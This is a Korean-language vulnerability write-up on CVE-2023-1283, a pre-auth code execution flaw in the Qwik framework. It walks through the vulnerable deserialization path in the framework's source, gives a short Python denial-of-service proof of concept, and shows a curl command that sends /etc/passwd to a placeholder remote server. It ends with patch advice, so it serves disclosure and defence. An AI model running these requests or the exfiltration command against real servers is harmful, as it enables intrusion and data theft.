반응형
ref
https://cve.report/CVE-2023-1283
https://huntr.dev/bounties/63f1ff91-48f3-4886-a179-103f1ddd8ff8/
배경
NodeJS기반의 Framework인 Qwik(https://github.com/BuilderIO/qwik)을 사용하는 서비스에서 Qwik의 버전이 0.20.1 이하일 경우 Preauth Remote Command Execution 공격이 가능합니다.
분석
- 분석은 취약한 버전인 0.20.1으로 진행
- Qwik의 middleware request handler는 다음과 같은 순서로 설정
- POST: securityMiddleware ⇒ pureServerFunction ⇒ fixTrailingSlash ⇒ renderQData
- GET: fixTrailingSlash ⇒ renderQData
// packages/qwik-city/middleware/request-handler/resolve-request-handlers.ts
var resolveRequestHandlers = (serverPlugins, route, method, renderHandler) => {
const routeLoaders = [];
const routeActions = [];
const requestHandlers = [];
const isPageRoute = !!(route && isLastModulePageRoute(route[1]));
if (serverPlugins) {
_resolveRequestHandlers(
routeLoaders,
routeActions,
requestHandlers,
serverPlugins,
isPageRoute,
method
);
}
if (route) {
if (isPageRoute) {
if (method === "POST") {
requestHandlers.unshift(securityMiddleware);
requestHandlers.push(pureServerFunction);
}
requestHandlers.push(fixTrailingSlash);
requestHandlers.push(renderQData);
}
_resolveRequestHandlers(
routeLoaders,
routeActions,
requestHandlers,
route[1],
isPageRoute,
method
);
if (isPageRoute) {
if (routeLoaders.length + actionsMiddleware.length > 0) {
requestHandlers.push(actionsMiddleware(routeLoaders, routeActions));
}
requestHandlers.push(renderHandler);
}
}
return requestHandlers;
};
- securityMiddleware함수는 CSRF의 방지 목적으로 아래의 조건을 확인
- request.headers.get(”origin”) == url.origin
function securityMiddleware({ url, request, error }) {
const forbidden = request.headers.get("origin") !== url.origin;
if (forbidden) {
throw error(403, `Cross-site ${request.method} form submissions are forbidden`);
}
}
- pureServerFunction는 다음과 같은 조건을 통과할 경우 ev.parseBody 함수를 실행
- qfunc is defined in query
- X-QRL in header == qfunc in query
- Content-Type == application/qwik-json
async function pureServerFunction(ev) {
const fn = ev.query.get(QFN_KEY); // var QFN_KEY = "qfunc";
if (fn && ev.request.headers.get("X-QRL") === fn && ev.request.headers.get("Content-Type") === "application/qwik-json") {
ev.exit();
const qwikSerializer = ev[RequestEvQwikSerializer];
const data = await ev.parseBody();
if (Array.isArray(data)) {
const [qrl, ...args] = data;
if (isQrl(qrl) && qrl.getHash() === fn) {
const result = await qrl.apply(ev, args);
verifySerializable(qwikSerializer, result, qrl);
ev.headers.set("Content-Type", "application/qwik-json");
ev.send(200, await qwikSerializer._serializeData(result, true));
return;
}
}
throw ev.error(500, "Invalid request");
}
}
- SSR의 경우 DoS (poc)
import sys
import requests
host = sys.argv[1]
headers = { "Origin": host, "X-QRL": "1", "Content-Type": "application/qwik-json" }
response = requests.post(f'{host}/q-data.json?qfunc=1', headers=headers)
print(response.text)
- 위의 조건이 맞으면 ev.parseBody() 함수내 실행
function createRequestEvent(serverRequestEv, loadedRoute, requestHandlers, trailingSlash = true, basePathname = "/", qwikSerializer, resolved) {
// skip
parseBody: async () => {
if (requestData !== void 0) {
return requestData;
}
return requestData = parseRequest(requestEv.request, sharedMap, qwikSerializer);
},
// skip
}
// skip
var parseRequest = async (request, sharedMap, qwikSerializer) => {
var _a2;
const req = request.clone();
const type = ((_a2 = request.headers.get("content-type")) == null ? void 0 : _a2.split(/[;,]/, 1)[0].trim()) ?? "";
if (type === "application/x-www-form-urlencoded" || type === "multipart/form-data") {
const formData = await req.formData();
sharedMap.set(RequestEvSharedActionFormData, formData);
return formToObj(formData);
} else if (type === "application/json") {
const data = await req.json();
return data;
} else if (type === "application/qwik-json") {
return qwikSerializer._deserializeData(await req.text());
}
return void 0;
};
- requestData가 undefined라면 parseRequest로 인자로 전달
- 이때 content-type이 application/qwik-json이므로 qwikSerializer._deserializeData를 호출
// qwik/core.mjs
const _deserializeData = (data, element) => {
const obj = JSON.parse(data);
if (typeof obj !== 'object') {
return null;
}
const { _objs, _entry } = obj;
if (typeof _objs === 'undefined' || typeof _entry === 'undefined') {
return null;
}
let doc = {};
let containerState = {};
if (element && isQwikElement(element)) {
const containerEl = getWrappingContainer(element);
if (containerEl) {
containerState = _getContainerState(containerEl);
doc = containerEl.ownerDocument;
}
}
const parser = createParser(containerState, doc);
reviveValues(_objs, parser);
const getObject = (id) => _objs[strToInt(id)];
for (const obj of _objs) {
reviveNestedObjects(obj, getObject, parser);
}
return getObject(_entry);
};
- 이 함수에서는 deserialize를 위한 Parser를 생성하고 reviveValue를 호출
- Parser는 prepare, subs, fill 이 3가지 함수가 존재
const createParser = (containerState, doc) => {
const fillMap = new Map();
const subsMap = new Map();
return {
prepare(data) {
// skip
},
subs(obj, subs) {
// skip
},
fill(obj, getObject) {
// skip
},
};
};
- reviveValues 함수는 다음과 같이 _obj의 타입이 “string”이고 값이 “\u0001”이 아니라면 parser의 prepare함수를 호출
const reviveValues = (objs, parser) => {
for (let i = 0; i < objs.length; i++) {
const value = objs[i];
if (isString(value)) {
objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value); // UNDEFINED_PREFIX = "\\u0001"
}
}
- prepare 함수에서는 _obj의 값 중 첫 Byte를 prefix값으로써 활용하고, 이 값과 맞는 serializers를 찾음
- 일치하는 serializers가 존재한다면 _obj의 2번째 byte부터의 값을 첫 번째 인자로써 serializer의 prepare함수를 호출
prepare(data) {
for (const s of serializers) {
const prefix = s.prefix;
if (data.startsWith(prefix)) {
const value = s.prepare(data.slice(prefix.length), containerState, doc);
if (s.fill) {
fillMap.set(value, s);
}
if (s.subs) {
subsMap.set(value, s);
}
return value;
}
}
return data;
}
- Serializers의 리스트는 다음과 같고 이들은 각각 정의된 prefix값을 보유
// // qwik/core.mjs
const serializers = [
QRLSerializer,
SignalSerializer,
SignalWrapperSerializer,
WatchSerializer,
ResourceSerializer,
URLSerializer,
DateSerializer,
RegexSerializer,
ErrorSerializer,
DocumentSerializer,
ComponentSerializer,
PureFunctionSerializer,
NoFiniteNumberSerializer,
URLSearchParamsSerializer,
FormDataSerializer,
];
- 이 중 PureFunctionSerializer를 참조
const PureFunctionSerializer = {
prefix: '\\u0011',
test: (obj) => typeof obj === 'function' && obj.__qwik_serializable__ !== undefined,
serialize: (obj) => {
return obj.toString();
},
prepare: (data) => {
const fn = new Function('return ' + data)();
fn.__qwik_serializable__ = true;
return fn;
},
fill: undefined,
};
- prefix는 \u0011이고 prepare함수는 인자값을 이용해 new Function 함수를 실행
- 이때 원격으로 명령어 실행이 가능
- exploit 비공개, @별도 연락 해주세요.
- command
- curl -F”a=@/etc/passwd” http://[remote_server]
패치 방법
- 이미 패치가 공개되었으며, npm(또는 yarn)을 이용해 최신버전(0.21.0 이상)으로 업데이트 필요
반응형